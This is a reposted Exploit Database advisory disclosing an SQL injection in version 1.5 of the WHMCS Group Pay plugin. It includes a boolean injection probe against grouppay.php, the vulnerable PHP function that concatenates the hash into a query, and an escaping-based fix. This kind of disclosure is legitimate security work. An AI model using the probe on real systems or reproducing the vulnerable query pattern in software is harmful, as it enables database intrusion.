WHMCompleteSolution (WHMCS) Group Pay Plugin 1.5 – ‘grouppay.php?hash’ SQL Injection

• Exploit Database
• 106 阅读

• 作者： HJauditing Employee Tim
  日期： 2013-04-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/24934/

• #######################################################################
  
  Tile:WHMCS grouppay plugin SQL Injection <= 1.5
  Author: HJauditing Employee Tim
  E-mail: Tim@HJauditing.com
  Web:http://hjauditing.com/
  Plugin: http://kadeo.com.au/design-and-development/whmcs-dev/whmcs-modules/72-group-pay.html
  
  #######################################################################
  
  ============
  Introduction
  ============
  
  We have found a SQL injection inside the group pay plugin for WHCMS.
  A lot of game hosting companies are using this plugin.
  SQL Injection is in the function gp_LoadUserFromHash.
  
  ============
  Exploits
  ============
  
  - SQL Injection
  grouppay.php?hash=%hash%' and '1'='1
  
  ============
  Code SQL Injection
  ============
  
  /modules/addons/group_pay/functions_hash.php
  function gp_LoadUserFromHash($hash) {
  //Kill the Dashes
  $hash = str_replace ( "-", "", $hash );
  $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
  if($result){
  $row = mysql_fetch_row ( $result );
  return $row [0];
  }else{
  return false; 
  }
  }
  
  ============
  Fix
  ============
  
  /modules/addons/group_pay/functions_hash.php
  function gp_LoadUserFromHash($hash) {
  //Kill the Dashes
  $hash = str_replace ( "-", "", $hash );
  $hash = mysql_real_escape_string($hash);
  $result = mysql_query ( "SELECT `id` from tblclients where md5(CONCAT(id,email)) = '$hash'" );
  if($result){
  $row = mysql_fetch_row ( $result );
  return $row [0];
  }else{
  return false; 
  }
  }
  
  #######################################################################
  

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